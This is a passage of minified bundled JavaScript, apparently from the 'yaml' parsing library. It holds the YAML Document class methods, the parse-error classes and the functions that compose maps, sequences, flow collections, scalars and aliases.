0;let{aliasDuplicateObjects:z,anchorPrefix:w,flow:H,keepUndefined:J,onTagObj:O,tag:X}=q??{},{onAnchor:$,setAnchors:_,sourceObjects:G}=I96.createNodeAnchors(this,w||"a"),Z={aliasDuplicateObjects:z??!0,keepUndefined:J??!1,onAnchor:$,onTagObj:O,replacer:Y,schema:this.schema,sourceObjects:G},W=vP9.createNode(A,X,Z);if(H&&tk.isCollection(W))W.flow=!0;return _(),W}createPair(A,K,q={}){let Y=this.createNode(A,null,q),z=this.createNode(K,null,q);return new PP9.Pair(Y,z)}delete(A){return Z$A(this.contents)?this.contents.delete(A):!1}deleteIn(A){if(G$A.isEmptyPath(A)){if(this.contents==null)return!1;return this.contents=null,!0}return Z$A(this.contents)?this.contents.deleteIn(A):!1}get(A,K){return tk.isCollection(this.contents)?this.contents.get(A,K):void 0}getIn(A,K){if(G$A.isEmptyPath(A))return!K&&tk.isScalar(this.contents)?this.contents.value:this.contents;return tk.isCollection(this.contents)?this.contents.getIn(A,K):void 0}has(A){return tk.isCollection(this.contents)?this.contents.has(A):!1}hasIn(A){if(G$A.isEmptyPath(A))return this.contents!==void 0;return tk.isCollection(this.contents)?this.contents.hasIn(A):!1}set(A,K){if(this.contents==null)this.contents=G$A.collectionFromPath(this.schema,[A],K);else if(Z$A(this.contents))this.contents.set(A,K)}setIn(A,K){if(G$A.isEmptyPath(A))this.contents=K;else if(this.contents==null)this.contents=G$A.collectionFromPath(this.schema,Array.from(A),K);else if(Z$A(this.contents))this.contents.setIn(A,K)}setSchema(A,K={}){if(typeof A==="number")A=String(A);let q;switch(A){case"1.1":if(this.directives)this.directives.yaml.version="1.1";else this.directives=new S96.Directives({version:"1.1"});q={resolveKnownTags:!1,schema:"yaml-1.1"};break;case"1.2":case"next":if(this.directives)this.directives.yaml.version=A;else this.directives=new S96.Directives({version:A});q={resolveKnownTags:!0,schema:"core"};break;case null:if(this.directives)delete this.directives;q=null;break;default:{let Y=JSON.stringify(A);throw Error(`Expected '1.1', '1.2' or null as first argument, but found: ${Y}`)}}if(K.schema instanceof Object)this.schema=K.schema;else if(q)this.schema=new fP9.Schema(Object.assign(q,K));else throw Error("With a null YAML version, the { schema: Schema } option is required")}toJS({json:A,jsonArg:K,mapAsMap:q,maxAliasCount:Y,onAnchor:z,reviver:w}={}){let H={anchors:new Map,doc:this,keep:!A,mapAsMap:q===!0,mapKeyWarned:!1,maxAliasCount:typeof Y==="number"?Y:100},J=VP9.toJS(this.contents,K??"",H);if(typeof z==="function")for(let{count:O,res:X}of H.anchors.values())z(X,O);return typeof w==="function"?TP9.applyReviver(w,{"":J},"",J):J}toJSON(A,K){return this.toJS({json:!0,jsonArg:A,mapAsMap:!1,onAnchor:K})}toString(A={}){if(this.errors.length>0)throw Error("Document with errors cannot be stringified");if("indent"in A&&(!Number.isInteger(A.indent)||Number(A.indent)<=0)){let K=JSON.stringify(A.indent);throw Error(`"indent" option must be a positive integer, not ${K}`)}return NP9.stringifyDocument(this,A)}}function Z$A(A){if(tk.isCollection(A))return!0;throw Error("Expected a YAML collection as document contents")}EP9.Document=h96});var ASA=v((LP9)=>{class zY1 extends Error{constructor(A,K,q,Y){super();this.name=A,this.code=q,this.message=Y,this.pos=K}}class XS4 extends zY1{constructor(A,K,q){super("YAMLParseError",A,K,q)}}class $S4 extends zY1{constructor(A,K,q){super("YAMLWarning",A,K,q)}}var CP9=(A,K)=>(q)=>{if(q.pos[0]===-1)return;q.linePos=q.pos.map((J)=>K.linePos(J));let{line:Y,col:z}=q.linePos[0];q.message+=` at line ${Y}, column ${z}`;let w=z-1,H=A.substring(K.lineStarts[Y-1],K.lineStarts[Y]).replace(/[\n\r]+$/,"");if(w>=60&&H.length>80){let J=Math.min(w-39,H.length-79);H="…"+H.substring(J),w-=J-1}if(H.length>80)H=H.substring(0,79)+"…";if(Y>1&&/^ *$/.test(H.substring(0,w))){let J=A.substring(K.lineStarts[Y-2],K.lineStarts[Y-1]);if(J.length>80)J=J.substring(0,79)+`… `;H=J+H}if(/[^ ]/.test(H)){let J=1,O=q.linePos[1];if(O&&O.line===Y&&O.col>z)J=Math.max(1,Math.min(O.col-z,80-w));let X=" ".repeat(w)+"^".repeat(J);q.message+=`: ${H} ${X} `}};LP9.YAMLError=zY1;LP9.YAMLParseError=XS4;LP9.YAMLWarning=$S4;LP9.prettifyError=CP9});var KSA=v((bP9)=>{function hP9(A,{flow:K,indicator:q,next:Y,offset:z,onError:w,parentIndent:H,startOnNewline:J}){let O=!1,X=J,$=J,_="",G="",Z=!1,W=!1,D=null,j=null,M=null,P=null,f=null,N=null,T=null;for(let x of A){if(W){if(x.type!=="space"&&x.type!=="newline"&&x.type!=="comma")w(x.offset,"MISSING_CHAR","Tags and anchors must be separated from the next token by white space");W=!1}if(D){if(X&&x.type!=="comment"&&x.type!=="newline")w(D,"TAB_AS_INDENT","Tabs are not allowed as indentation");D=null}switch(x.type){case"space":if(!K&&(q!=="doc-start"||Y?.type!=="flow-collection")&&x.source.includes("\t"))D=x;$=!0;break;case"comment":{if(!$)w(x,"MISSING_CHAR","Comments must be separated from other tokens by white space characters");let y=x.source.substring(1)||" ";if(!_)_=y;else _+=G+y;G="",X=!1;break}case"newline":if(X){if(_)_+=x.source;else if(!N||q!=="seq-item-ind")O=!0}else G+=x.source;if(X=!0,Z=!0,j||M)P=x;$=!0;break;case"anchor":if(j)w(x,"MULTIPLE_ANCHORS","A node can have at most one anchor");if(x.source.endsWith(":"))w(x.offset+x.source.length-1,"BAD_ALIAS","Anchor ending in : is ambiguous",!0);j=x,T??(T=x.offset),X=!1,$=!1,W=!0;break;case"tag":{if(M)w(x,"MULTIPLE_TAGS","A node can have at most one tag");M=x,T??(T=x.offset),X=!1,$=!1,W=!0;break}case q:if(j||M)w(x,"BAD_PROP_ORDER",`Anchors and tags must be after the ${x.source} indicator`);if(N)w(x,"UNEXPECTED_TOKEN",`Unexpected ${x.source} in ${K??"collection"}`);N=x,X=q==="seq-item-ind"||q==="explicit-key-ind",$=!1;break;case"comma":if(K){if(f)w(x,"UNEXPECTED_TOKEN",`Unexpected , in ${K}`);f=x,X=!1,$=!1;break}default:w(x,"UNEXPECTED_TOKEN",`Unexpected ${x.type} token`),X=!1,$=!1}}let C=A[A.length-1],R=C?C.offset+C.source.length:z;if(W&&Y&&Y.type!=="space"&&Y.type!=="newline"&&Y.type!=="comma"&&(Y.type!=="scalar"||Y.source!==""))w(Y.offset,"MISSING_CHAR","Tags and anchors must be separated from the next token by white space");if(D&&(X&&D.indent<=H||Y?.type==="block-map"||Y?.type==="block-seq"))w(D,"TAB_AS_INDENT","Tabs are not allowed as indentation");return{comma:f,found:N,spaceBefore:O,comment:_,hasNewline:Z,anchor:j,tag:M,newlineAfterProp:P,end:R,start:T??R}}bP9.resolveProps=hP9});var wY1=v((uP9)=>{function b96(A){if(!A)return null;switch(A.type){case"alias":case"scalar":case"double-quoted-scalar":case"single-quoted-scalar":if(A.source.includes(` `))return!0;if(A.end){for(let K of A.end)if(K.type==="newline")return!0}return!1;case"flow-collection":for(let K of A.items){for(let q of K.start)if(q.type==="newline")return!0;if(K.sep){for(let q of K.sep)if(q.type==="newline")return!0}if(b96(K.key)||b96(K.value))return!0}return!1;default:return!0}}uP9.containsNewline=b96});var x96=v((FP9)=>{var mP9=wY1();function gP9(A,K,q){if(K?.type==="flow-collection"){let Y=K.end[0];if(Y.indent===A&&(Y.source==="]"||Y.source==="}")&&mP9.containsNewline(K))q(Y,"BAD_INDENT","Flow end indicator should be more indented than parent",!0)}}FP9.flowIndentCheck=gP9});var u96=v((pP9)=>{var _S4=WY();function UP9(A,K,q){let{uniqueKeys:Y}=A.options;if(Y===!1)return!1;let z=typeof Y==="function"?Y:(w,H)=>w===H||_S4.isScalar(w)&&_S4.isScalar(H)&&w.value===H.value;return K.some((w)=>z(w.key,q))}pP9.mapIncludes=UP9});var jS4=v((rP9)=>{var GS4=xr(),cP9=Br(),ZS4=KSA(),lP9=wY1(),WS4=x96(),iP9=u96(),DS4="All mapping items must start at the same column";function nP9({composeNode:A,composeEmptyNode:K},q,Y,z,w){let J=new(w?.nodeClass??cP9.YAMLMap)(q.schema);if(q.atRoot)q.atRoot=!1;let O=Y.offset,X=null;for(let $ of Y.items){let{start:_,key:G,sep:Z,value:W}=$,D=ZS4.resolveProps(_,{indicator:"explicit-key-ind",next:G??Z?.[0],offset:O,onError:z,parentIndent:Y.indent,startOnNewline:!0}),j=!D.found;if(j){if(G){if(G.type==="block-seq")z(O,"BLOCK_AS_IMPLICIT_KEY","A block sequence may not be used as an implicit map key");else if("indent"in G&&G.indent!==Y.indent)z(O,"BAD_INDENT",DS4)}if(!D.anchor&&!D.tag&&!Z){if(X=D.end,D.comment)if(J.comment)J.comment+=` `+D.comment;else J.comment=D.comment;continue}if(D.newlineAfterProp||lP9.containsNewline(G))z(G??_[_.length-1],"MULTILINE_IMPLICIT_KEY","Implicit keys need to be on a single line")}else if(D.found?.indent!==Y.indent)z(O,"BAD_INDENT",DS4);q.atKey=!0;let M=D.end,P=G?A(q,G,D,z):K(q,M,_,null,D,z);if(q.schema.compat)WS4.flowIndentCheck(Y.indent,G,z);if(q.atKey=!1,iP9.mapIncludes(q,J.items,P))z(M,"DUPLICATE_KEY","Map keys must be unique");let f=ZS4.resolveProps(Z??[],{indicator:"map-value-ind",next:W,offset:P.range[2],onError:z,parentIndent:Y.indent,startOnNewline:!G||G.type==="block-scalar"});if(O=f.end,f.found){if(j){if(W?.type==="block-map"&&!f.hasNewline)z(O,"BLOCK_AS_IMPLICIT_KEY","Nested mappings are not allowed in compact mappings");if(q.options.strict&&D.start<f.found.offset-1024)z(P.range,"KEY_OVER_1024_CHARS","The : indicator must be at most 1024 chars after the start of an implicit block mapping key")}let N=W?A(q,W,f,z):K(q,O,Z,null,f,z);if(q.schema.compat)WS4.flowIndentCheck(Y.indent,W,z);O=N.range[2];let T=new GS4.Pair(P,N);if(q.options.keepSourceTokens)T.srcToken=$;J.items.push(T)}else{if(j)z(P.range,"MISSING_CHAR","Implicit map keys need to be followed by map values");if(f.comment)if(P.comment)P.comment+=` `+f.comment;else P.comment=f.comment;let N=new GS4.Pair(P);if(q.options.keepSourceTokens)N.srcToken=$;J.items.push(N)}}if(X&&X<O)z(X,"IMPOSSIBLE","Map comment with trailing content");return J.range=[Y.offset,O,X??O],J}rP9.resolveBlockMap=nP9});var MS4=v((AV9)=>{var aP9=mr(),sP9=KSA(),tP9=x96();function eP9({composeNode:A,composeEmptyNode:K},q,Y,z,w){let J=new(w?.nodeClass??aP9.YAMLSeq)(q.schema);if(q.atRoot)q.atRoot=!1;if(q.atKey)q.atKey=!1;let O=Y.offset,X=null;for(let{start:$,value:_}of Y.items){let G=sP9.resolveProps($,{indicator:"seq-item-ind",next:_,offset:O,onError:z,parentIndent:Y.indent,startOnNewline:!0});if(!G.found)if(G.anchor||G.tag||_)if(_&&_.type==="block-seq")z(G.end,"BAD_INDENT","All sequence items must start at the same column");else z(O,"MISSING_CHAR","Sequence item without - indicator");else{if(X=G.end,G.comment)J.comment=G.comment;continue}let Z=_?A(q,_,G,z):K(q,G.end,$,null,G,z);if(q.schema.compat)tP9.flowIndentCheck(Y.indent,_,z);O=Z.range[2],J.items.push(Z)}return J.range=[Y.offset,O,X??O],J}AV9.resolveBlockSeq=eP9});var W$A=v((YV9)=>{function qV9(A,K,q,Y){let z="";if(A){let w=!1,H="";for(let J of A){let{source:O,type:X}=J;switch(X){case"space":w=!0;break;case"comment":{if(q&&!w)Y(J,"MISSING_CHAR","Comments must be separated from other tokens by white space characters");let $=O.substring(1)||" ";if(!z)z=$;else z+=H+$;H="";break}case"newline":if(z)H+=O;w=!0;break;default:Y(J,"UNEXPECTED_TOKEN",`Unexpected ${X} at node end`)}K+=O.length}}return{comment:z,offset:K}}YV9.resolveEnd=qV9});var fS4=v((GV9)=>{var wV9=WY(),HV9=xr(),PS4=Br(),JV9=mr(),OV9=W$A(),VS4=KSA(),XV9=wY1(),$V9=u96(),B96="Block collections are not allowed within flow collections",m96=(A)=>A&&(A.type==="block-map"||A.type==="block-seq");function _V9({composeNode:A,composeEmptyNode:K},q,Y,z,w){let H=Y.start.source==="{",J=H?"flow map":"flow sequence",X=new(w?.nodeClass??(H?PS4.YAMLMap:JV9.YAMLSeq))(q.schema);X.flow=!0;let $=q.atRoot;if($)q.atRoot=!1;if(q.atKey)q.atKey=!1;let _=Y.offset+Y.start.source.length;for(let j=0;j<Y.items.length;++j){let M=Y.items[j],{start:P,key:f,sep:N,value:T}=M,C=VS4.resolveProps(P,{flow:J,indicator:"explicit-key-ind",next:f??N?.[0],offset:_,onError:z,parentIndent:Y.indent,startOnNewline:!1});if(!C.found){if(!C.anchor&&!C.tag&&!N&&!T){if(j===0&&C.comma)z(C.comma,"UNEXPECTED_TOKEN",`Unexpected , in ${J}`);else if(j<Y.items.length-1)z(C.start,"UNEXPECTED_TOKEN",`Unexpected empty item in ${J}`);if(C.comment)if(X.comment)X.comment+=` `+C.comment;else X.comment=C.comment;_=C.end;continue}if(!H&&q.options.strict&&XV9.containsNewline(f))z(f,"MULTILINE_IMPLICIT_KEY","Implicit keys of flow sequence pairs need to be on a single line")}if(j===0){if(C.comma)z(C.comma,"UNEXPECTED_TOKEN",`Unexpected , in ${J}`)}else{if(!C.comma)z(C.start,"MISSING_CHAR",`Missing , between ${J} items`);if(C.comment){let R="";A:for(let x of P)switch(x.type){case"comma":case"space":break;case"comment":R=x.source.substring(1);break A;default:break A}if(R){let x=X.items[X.items.length-1];if(wV9.isPair(x))x=x.value??x.key;if(x.comment)x.comment+=` `+R;else x.comment=R;C.comment=C.comment.substring(R.length+1)}}}if(!H&&!N&&!C.found){let R=T?A(q,T,C,z):K(q,C.end,N,null,C,z);if(X.items.push(R),_=R.range[2],m96(T))z(R.range,"BLOCK_IN_FLOW",B96)}else{q.atKey=!0;let R=C.end,x=f?A(q,f,C,z):K(q,R,P,null,C,z);if(m96(f))z(x.range,"BLOCK_IN_FLOW",B96);q.atKey=!1;let y=VS4.resolveProps(N??[],{flow:J,indicator:"map-value-ind",next:T,offset:x.range[2],onError:z,parentIndent:Y.indent,startOnNewline:!1});if(y.found){if(!H&&!C.found&&q.options.strict){if(N)for(let F of N){if(F===y.found)break;if(F.type==="newline"){z(F,"MULTILINE_IMPLICIT_KEY","Implicit keys of flow sequence pairs need to be on a single line");break}}if(C.start<y.found.offset-1024)z(y.found,"KEY_OVER_1024_CHARS","The : indicator must be at most 1024 chars after the start of an implicit flow sequence key")}}else if(T)if("source"in T&&T.source&&T.source[0]===":")z(T,"MISSING_CHAR",`Missing space after : in ${J}`);else z(y.start,"MISSING_CHAR",`Missing , or : between ${J} items`);let B=T?A(q,T,y,z):y.found?K(q,y.end,N,null,y,z):null;if(B){if(m96(T))z(B.range,"BLOCK_IN_FLOW",B96)}else if(y.comment)if(x.comment)x.comment+=` `+y.comment;else x.comment=y.comment;let b=new HV9.Pair(x,B);if(q.options.keepSourceTokens)b.srcToken=M;if(H){let F=X;if($V9.mapIncludes(q,F.items,x))z(R,"DUPLICATE_KEY","Map keys must be unique");F.items.push(b)}else{let F=new PS4.YAMLMap(q.schema);F.flow=!0,F.items.push(b);let Q=(B??x).range;F.range=[x.range[0],Q[1],Q[2]],X.items.push(F)}_=B?B.range[2]:y.end}}let G=H?"}":"]",[Z,...W]=Y.end,D=_;if(Z&&Z.source===G)D=Z.offset+Z.source.length;else{let j=J[0].toUpperCase()+J.substring(1),M=$?`${j} must end with a ${G}`:`${j} in block collection must be sufficiently indented and end with a ${G}`;if(z(_,$?"MISSING_CHAR":"BAD_INDENT",M),Z&&Z.source.length!==1)W.unshift(Z)}if(W.length>0){let j=OV9.resolveEnd(W,D,q.options.strict,z);if(j.comment)if(X.comment)X.comment+=` `+j.comment;else X.comment=j.comment;X.range=[Y.offset,D,j.offset]}else X.range=[Y.offset,D,D];return X}GV9.resolveFlowCollection=_V9});var NS4=v((TV9)=>{var WV9=WY(),DV9=q$(),jV9=Br(),MV9=mr(),PV9=jS4(),VV9=MS4(),fV9=fS4();function g96(A,K,q,Y,z,w){let H=q.type==="block-map"?PV9.resolveBlockMap(A,K,q,Y,w):q.type==="block-seq"?VV9.resolveBlockSeq(A,K,q,Y,w):fV9.resolveFlowCollection(A,K,q,Y,w),J=H.constructor;if(z==="!"||z===J.tagName)return H.tag=J.tagName,H;if(z)H.tag=z;return H}function NV9(A,K,q,Y,z){let w=Y.tag,H=!w?null:K.directives.tagName(w.source,(G)=>z(w,"TAG_RESOLVE_FAILED",G));if(q.type==="block-seq"){let{anchor:G,newlineAfterProp:Z}=Y,W=G&&w?G.offset>w.offset?G:w:G??w;if(W&&(!Z||Z.offset<W.offset))z(W,"MISSING_CHAR","Missing newline after block sequence props")}let J=q.type==="block-map"?"map":q.type==="block-seq"?"seq":q.start.source==="{"?"map":"seq";if(!w||!H||H==="!"||H===jV9.YAMLMap.tagName&&J==="map"||H===MV9.YAMLSeq.tagName&&J==="seq")return g96(A,K,q,z,H);let O=K.schema.tags.find((G)=>G.tag===H&&G.collection===J);if(!O){let G=K.schema.knownTags[H];if(G&&G.collection===J)K.schema.tags.push(Object.assign({},G,{default:!1})),O=G;else{if(G)z(w,"BAD_COLLECTION_TYPE",`${G.tag} used for ${J} collection, but expects ${G.collection??"scalar"}`,!0);else z(w,"TAG_RESOLVE_FAILED",`Unresolved tag: ${H}`,!0);return g96(A,K,q,z,H)}}let X=g96(A,K,q,z,H,O),$=O.resolve?.(X,(G)=>z(w,"TAG_RESOLVE_FAILED",G),K.options)??X,_=WV9.isNode($)?$:new DV9.Scalar($);if(_.range=X.range,_.tag=H,O?.format)_.format=O.format;return _}TV9.composeCollection=NV9});var Q96=v((LV9)=>{var F96=q$();function EV9(A,K,q){let Y=K.offset,z=kV9(K,A.options.strict,q);if(!z)return{value:"",type:null,comment:"",range:[Y,Y,Y]};let w=z.mode===">"?F96.Scalar.BLOCK_FOLDED:F96.Scalar.BLOCK_LITERAL,H=K.source?CV9(K.source):[],J=H.length;for(let D=H.length-1;D>=0;--D){let j=H[D][1];if(j===""||j==="\r")J=D;else break}if(J===0){let D=z.chomp==="+"&&H.length>0?` `.repeat(Math.max(1,H.length-1)):"",j=Y+z.length;if(K.source)j+=K.source.length;return{value:D,type:w,comment:z.comment,range:[Y,j,j]}}let O=K.indent+z.indent,X=K.offset+z.length,$=0;for(let D=0;D<J;++D){let[j,M]=H[D];if(M===""||M==="\r"){if(z.indent===0&&j.length>O)O=j.length}else{if(j.length<O)q(X+j.length,"MISSING_CHAR","Block scalars with more-indented leading empty lines must use an explicit indentation indicator");if(z.indent===0)O=j.length;if($=D,O===0&&!A.atRoot)q(X,"BAD_INDENT","Block scalar values in collections must be indented");break}X+=j.length+M.length+1}for(let D=H.length-1;D>=J;--D)if(H[D][0].length>O)J=D+1;let _="",G="",Z=!1;for(let D=0;D<$;++D)_+=H[D][0].slice(O)+` `;for(let D=$;D<J;++D){let[j,M]=H[D];X+=j.length+M.length+1;let P=M[M.length-1]==="\r";if(P)M=M.slice(0,-1);if(M&&j.length<O){let N=`Block scalar lines must not be less indented than their ${z.indent?"explicit indentation indicator":"first line"}`;q(X-M.length-(P?2:1),"BAD_INDENT",N),j=""}if(w===F96.Scalar.BLOCK_LITERAL)_+=G+j.slice(O)+M,G=` `;else if(j.length>O||M[0]==="\t"){if(G===" ")G=` `;else if(!Z&&G===` `)G=` `;_+=G+j.slice(O)+M,G=` `,Z=!0}else if(M==="")if(G===` `)_+=` `;else G=` `;else _+=G+M,G=" ",Z=!1}switch(z.chomp){case"-":break;case"+":for(let D=J;D<H.length;++D)_+=` `+H[D][0].slice(O);if(_[_.length-1]!==` `)_+=` `;break;default:_+=` `}let W=Y+z.length+K.source.length;return{value:_,type:w,comment:z.comment,range:[Y,W,W]}}function kV9({offset:A,props:K},q,Y){if(K[0].type!=="block-scalar-header")return Y(K[0],"IMPOSSIBLE","Block scalar header not found"),null;let{source:z}=K[0],w=z[0],H=0,J="",O=-1;for(let G=1;G<z.length;++G){let Z=z[G];if(!J&&(Z==="-"||Z==="+"))J=Z;else{let W=Number(Z);if(!H&&W)H=W;else if(O===-1)O=A+G}}if(O!==-1)Y(O,"UNEXPECTED_TOKEN",`Block scalar header includes extra characters: ${z}`);let X=!1,$="",_=z.length;for(let G=1;G<K.length;++G){let Z=K[G];switch(Z.type){case"space":X=!0;case"newline":_+=Z.source.length;break;case"comment":if(q&&!X)Y(Z,"MISSING_CHAR","Comments must be separated from other tokens by white space characters");_+=Z.source.length,$=Z.source.substring(1);break;case"error":Y(Z,"UNEXPECTED_TOKEN",Z.message),_+=Z.source.length;break;default:{let W=`Unexpected token in block scalar header: ${Z.type}`;Y(Z,"UNEXPECTED_TOKEN",W);let D=Z.source;if(D&&typeof D==="string")_+=D.length}}}return{mode:w,indent:H,chomp:J,comment:$,length:_}}function CV9(A){let K=A.split(/\n( *)/),q=K[0],Y=q.match(/^( *)/),w=[Y?.[1]?[Y[1],q.slice(Y[1].length)]:["",q]];for(let H=1;H<K.length;H+=2)w.push([K[H],K[H+1]]);return w}LV9.resolveBlockScalar=EV9});var p96=v((mV9)=>{var U96=q$(),yV9=W$A();function IV9(A,K,q){let{offset:Y,type:z,source:w,end:H}=A,J,O,X=(G,Z,W)=>q(Y+G,Z,W);switch(z){case"scalar":J=U96.Scalar.PLAIN,O=SV9(w,X);break;case"single-quoted-scalar":J=U96.Scalar.QUOTE_SINGLE,O=hV9(w,X);break;case"double-quoted-scalar":J=U96.Scalar.QUOTE_DOUBLE,O=bV9(w,X);break;default:return q(A,"UNEXPECTED_TOKEN",`Expected a flow scalar value, but found: ${z}`),{value:"",type:null,comment:"",range:[Y,Y+w.length,Y+w.length]}}let $=Y+w.length,_=yV9.resolveEnd(H,$,K,q);return{value:O,type:J,comment:_.comment,range:[Y,$,_.offset]}}function SV9(A,K){let q="";switch(A[0]){case"\t":q="a tab character";break;case",":q="flow indicator character ,";break;case"%":q="directive indicator character %";break;case"|":case">":{q=`block scalar indicator ${A[0]}`;break}case"@":case"`":{q=`reserved character ${A[0]}`;break}}if(q)K(0,"BAD_SCALAR_START",`Plain value cannot start with ${q}`);return TS4(A)}function hV9(A,K){if(A[A.length-1]!=="'"||A.length===1)K(A.length,"MISSING_CHAR","Missing closing 'quote");return TS4(A.slice(1,-1)).replace(/''/g,"'")}function TS4(A){let K,q;try{K=new RegExp(`(.*?)(?<![ ])[ ]*\r? `,"sy"),q=new RegExp(`[ ]*(.*?)(?:(?<![ ])[ ]*)?\r? `,"sy")}catch{K=/(.*?)[ \t]*\r?\n/sy,q=/[ \t]*(.*?)[ \t]*\r?\n/sy}let Y=K.exec(A);if(!Y)return A;let z=Y[1],w=" ",H=K.lastIndex;q.lastIndex=H;while(Y=q.exec(A)){if(Y[1]==="")if(w===` `)z+=w;else w=` `;else z+=w+Y[1],w=" ";H=q.lastIndex}let J=/[ \t]*(.*)/sy;return J.lastIndex=H,Y=J.exec(A),z+w+(Y?.[1]??"")}function bV9(A,K){let q="";for(let Y=1;Y<A.length-1;++Y){let z=A[Y];if(z==="\r"&&A[Y+1]===` `)continue;if(z===` `){let{fold:w,offset:H}=xV9(A,Y);q+=w,Y=H}else if(z==="\\"){let w=A[++Y],H=uV9[w];if(H)q+=H;else if(w===` `){w=A[Y+1];while(w===" "||w==="\t")w=A[++Y+1]}else if(w==="\r"&&A[Y+1]===` `){w=A[++Y+1];while(w===" "||w==="\t")w=A[++Y+1]}else if(w==="x"||w==="u"||w==="U"){let J={x:2,u:4,U:8}[w];q+=BV9(A,Y+1,J,K),Y+=J}else{let J=A.substr(Y-1,2);K(Y-1,"BAD_DQ_ESCAPE",`Invalid escape sequence ${J}`),q+=J}}else if(z===" "||z==="\t"){let w=Y,H=A[Y+1];while(H===" "||H==="\t")H=A[++Y+1];if(H!==` `&&!(H==="\r"&&A[Y+2]===` `))q+=Y>w?A.slice(w,Y+1):z}else q+=z}if(A[A.length-1]!=='"'||A.length===1)K(A.length,"MISSING_CHAR",'Missing closing "quote');return q}function xV9(A,K){let q="",Y=A[K+1];while(Y===" "||Y==="\t"||Y===` `||Y==="\r"){if(Y==="\r"&&A[K+2]!==` `)break;if(Y===` `)q+=` `;K+=1,Y=A[K+1]}if(!q)q=" ";return{fold:q,offset:K}}var uV9={"0":"\x00",a:"\x07",b:"\b",e:"\x1B",f:"\f",n:` `,r:"\r",t:"\t",v:"\v",N:" ",_:" ",L:"\u2028",P:"\u2029"," ":" ",'"':'"',"/":"/","\\":"\\","\t":"\t"};function BV9(A,K,q,Y){let z=A.substr(K,q),H=z.length===q&&/^[0-9a-fA-F]+$/.test(z)?parseInt(z,16):NaN;if(isNaN(H)){let J=A.substr(K-2,q+2);return Y(K-2,"BAD_DQ_ESCAPE",`Invalid escape sequence ${J}`),J}return String.fromCodePoint(H)}mV9.resolveFlowScalar=IV9});var ES4=v((cV9)=>{var Y7A=WY(),vS4=q$(),FV9=Q96(),QV9=p96();function UV9(A,K,q,Y){let{value:z,type:w,comment:H,range:J}=K.type==="block-scalar"?FV9.resolveBlockScalar(A,K,Y):QV9.resolveFlowScalar(K,A.options.strict,Y),O=q?A.directives.tagName(q.source,(_)=>Y(q,"TAG_RESOLVE_FAILED",_)):null,X;if(A.options.stringKeys&&A.atKey)X=A.schema[Y7A.SCALAR];else if(O)X=pV9(A.schema,z,O,q,Y);else if(K.type==="scalar")X=dV9(A,z,K,Y);else X=A.schema[Y7A.SCALAR];let $;try{let _=X.resolve(z,(G)=>Y(q??K,"TAG_RESOLVE_FAILED",G),A.options);$=Y7A.isScalar(_)?_:new vS4.Scalar(_)}catch(_){let G=_ instanceof Error?_.message:String(_);Y(q??K,"TAG_RESOLVE_FAILED",G),$=new vS4.Scalar(z)}if($.range=J,$.source=z,w)$.type=w;if(O)$.tag=O;if(X.format)$.format=X.format;if(H)$.comment=H;return $}function pV9(A,K,q,Y,z){if(q==="!")return A[Y7A.SCALAR];let w=[];for(let J of A.tags)if(!J.collection&&J.tag===q)if(J.default&&J.test)w.push(J);else return J;for(let J of w)if(J.test?.test(K))return J;let H=A.knownTags[q];if(H&&!H.collection)return A.tags.push(Object.assign({},H,{default:!1,test:void 0})),H;return z(Y,"TAG_RESOLVE_FAILED",`Unresolved tag: ${q}`,q!=="tag:yaml.org,2002:str"),A[Y7A.SCALAR]}function dV9({atKey:A,directives:K,schema:q},Y,z,w){let H=q.tags.find((J)=>(J.default===!0||A&&J.default==="key")&&J.test?.test(Y))||q[Y7A.SCALAR];if(q.compat){let J=q.compat.find((O)=>O.default&&O.test?.test(Y))??q[Y7A.SCALAR];if(H.tag!==J.tag){let O=K.tagString(H.tag),X=K.tagString(J.tag),$=`Value may be parsed as either ${O} or ${X}`;w(z,"TAG_RESOLVE_FAILED",$,!0)}}return H}cV9.composeScalar=UV9});var kS4=v((nV9)=>{function iV9(A,K,q){if(K){q??(q=K.length);for(let Y=q-1;Y>=0;--Y){let z=K[Y];switch(z.type){case"space":case"comment":case"newline":A-=z.source.length;continue}z=K[++Y];while(z?.type==="space")A+=z.source.length,z=K[++Y];break}}return A}nV9.emptyScalarPosition=iV9});var RS4=v((qf9)=>{var oV9=gIA(),aV9=WY(),sV9=NS4(),CS4=ES4(),tV9=W$A(),eV9=kS4(),Af9={composeNode:LS4,composeEmptyNode:d96};function LS4(A,K,q,Y){let z=A.atKey,{spaceBefore:w,comment:H,anchor:J,tag:O}=q,X,$=!0;switch(K.type){case"alias":if(X=Kf9(A,K,Y),J||O)Y(K,"ALIAS_PROPS","An alias node must not specify any properties");break;case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":case"block-scalar":if(X=CS4.composeScalar(A,K,O,Y),J)X.anchor=J.source.substring(1);break;case"block-map":case"block-seq":case"flow-collection":if(X=sV9.composeCollection(Af9,A,K,q,Y),J)X.anchor=J.source.substring(1);break;default:{let _=K.type==="error"?K.message:`Unsupported token (type: ${K.type})`;Y(K,"UNEXPECTED_TOKEN",_),X=d96(A,K.offset,void 0,null,q,Y),$=!1}}if(J&&X.anchor==="")Y(J,"BAD_ALIAS","Anchor cannot be an empty string");if(z&&A.options.stringKeys&&(!aV9.isScalar(X)||typeof X.value!=="string"||X.tag&&X.tag!=="tag:yaml.org,2002:str"))Y(O??K,"NON_STRING_KEY","With stringKeys, all keys must be strings");if(w)X.spaceBefore=!0;if(H)if(K.type==="scalar"&&K.source==="")X.comment=H;else X.commentBefore=H;if(A.options.keepSourceTokens&&$)X.srcToken=K;return X}function d96(A,K,q,Y,{spaceBefore:z,comment:w,anchor:H,tag:J,end:O},X){let $={type:"scalar",offset:eV9.emptyScalarPosition(K,q,Y),indent:-1,source:""},_=CS4.composeScalar(A,$,J,X);if(H){if(_.anchor=H.source.substring(1),_.anchor==="")X(H,"BAD_ALIAS","Anchor cannot be an empty string")}if(z)_.spaceBefore=!0;if(w)_.comment=w,_.range[2]=O;return _}function Kf9({options:A},{offset:K,source:q,end:Y},z){let w=new oV9.Alias(q.substring(1));if(w.source==="")z(K,"BAD_ALIAS","Alias cannot be an empty string");if(w.source.endsWith(":"))z(K+q.length-1,"BAD_ALIAS","Alias ending in : is ambiguous",!0);let H=K+q.length,J=tV9.resolveEnd(Y,H,A.strict,z);if(w.range=[K,H,J.offset],J.comment)w.comment=J.comment;return w}qf9.composeEmptyNode=d96;qf9.composeNode=LS4});var IS4=v((Xf9)=>{var wf9=eIA(),yS4=RS4(),Hf9=W$A(),Jf9=KSA();function Of9(A,K,{offset:q,start:Y,value:z,end:w},H){let J=Object.assign({_directives:K},A),O=new wf9.Document(void 